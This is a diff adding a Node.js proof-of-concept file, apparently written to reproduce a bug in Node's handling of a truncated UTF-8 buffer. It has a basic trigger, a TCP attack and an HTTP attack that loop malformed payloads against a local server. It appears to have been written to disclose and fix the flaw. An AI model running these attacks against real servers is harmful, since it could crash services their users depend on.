|  | 
|  | 1 | +'use strict'; | 
|  | 2 | + | 
|  | 3 | +var http = require('http'); | 
|  | 4 | +var net = require('net'); | 
|  | 5 | +var LEN = 1024 * 64; | 
|  | 6 | +var PORT = 8123; | 
|  | 7 | +var log = process._rawDebug; | 
|  | 8 | + | 
|  | 9 | + | 
|  | 10 | +///// BASIC ATTACK ///// | 
|  | 11 | + | 
|  | 12 | +/** | 
|  | 13 | + * This sample code demonstrates the simplest way to reproduce the issue. | 
|  | 14 | + */ | 
|  | 15 | +var b = Buffer(LEN); | 
|  | 16 | +b.fill('\ud834\udc1e'); | 
|  | 17 | +b = b.slice(0, LEN - 3); | 
|  | 18 | +b.toString(); | 
|  | 19 | + | 
|  | 20 | + | 
|  | 21 | + | 
|  | 22 | +///// TCP ATTACK ///// | 
|  | 23 | + | 
|  | 24 | +/** | 
|  | 25 | + * This demonstrates exploiting packet size to force a malformed UTF-16 | 
|  | 26 | + * character throw to be turned to a string by the unexpecting victim. | 
|  | 27 | + */ | 
|  | 28 | +var b = Buffer(LEN).fill('\ud834\udc1e').slice(0, LEN - 3); | 
|  | 29 | + | 
|  | 30 | +net.createServer(function(c) { | 
|  | 31 | +  c.on('data', function(chunk) { | 
|  | 32 | +    chunk.toString(); | 
|  | 33 | +    this.end(); | 
|  | 34 | +  }); | 
|  | 35 | +}).listen(8123, function(e) { | 
|  | 36 | +  if (e) throw e; | 
|  | 37 | +  startClient(); | 
|  | 38 | +}); | 
|  | 39 | + | 
|  | 40 | +function startClient() { | 
|  | 41 | +  net.connect(PORT, function() { | 
|  | 42 | +    log('client connected'); | 
|  | 43 | +    this.write(b); | 
|  | 44 | +    this.end(); | 
|  | 45 | +  }).on('end', function() { | 
|  | 46 | +    setImmediate(startClient); | 
|  | 47 | +  }); | 
|  | 48 | +} | 
|  | 49 | + | 
|  | 50 | + | 
|  | 51 | + | 
|  | 52 | +///// HTTP ATTACK ///// | 
|  | 53 | + | 
|  | 54 | +/** | 
|  | 55 | + * This shows an attack vector that could be used to bring down an HTTP server. | 
|  | 56 | + * Though because of implementation details, it requires explicit action by the | 
|  | 57 | + * implementor. | 
|  | 58 | + * | 
|  | 59 | + * Fortunately a perf improvement I recommended to Isaac a while back (1f9f863) | 
|  | 60 | + * helps guard against this attack on http, but doesn't prevent it if the user | 
|  | 61 | + * takes explicit action. | 
|  | 62 | + */ | 
|  | 63 | +var b = Buffer(LEN).fill('\ud834\udc1e').slice(0, LEN - 3); | 
|  | 64 | +var cH = 'GET / HTTP/1.1\r\n' + | 
|  | 65 | +         'User-Agent: ' | 
|  | 66 | + | 
|  | 67 | +b.write(cH); | 
|  | 68 | +b.write('\r\n\r\n', b.length - 4); | 
|  | 69 | + | 
|  | 70 | +http.createServer(function(req, res) { | 
|  | 71 | +  log('connection received'); | 
|  | 72 | +  Buffer(req.headers['user-agent'], 'binary').toString('utf8'); | 
|  | 73 | +  res.end(); | 
|  | 74 | +}).listen(PORT, function(e) { | 
|  | 75 | +  if (e) throw e; | 
|  | 76 | +  startClient(); | 
|  | 77 | +}); | 
|  | 78 | + | 
|  | 79 | +function startClient() { | 
|  | 80 | +  net.connect(PORT, function() { | 
|  | 81 | +    this.write(b); | 
|  | 82 | +    this.end(); | 
|  | 83 | +  }).on('end', function() { | 
|  | 84 | +    setImmediate(startClient); | 
|  | 85 | +  }).on('data', function() { }); | 
|  | 86 | +} | 
0 commit comments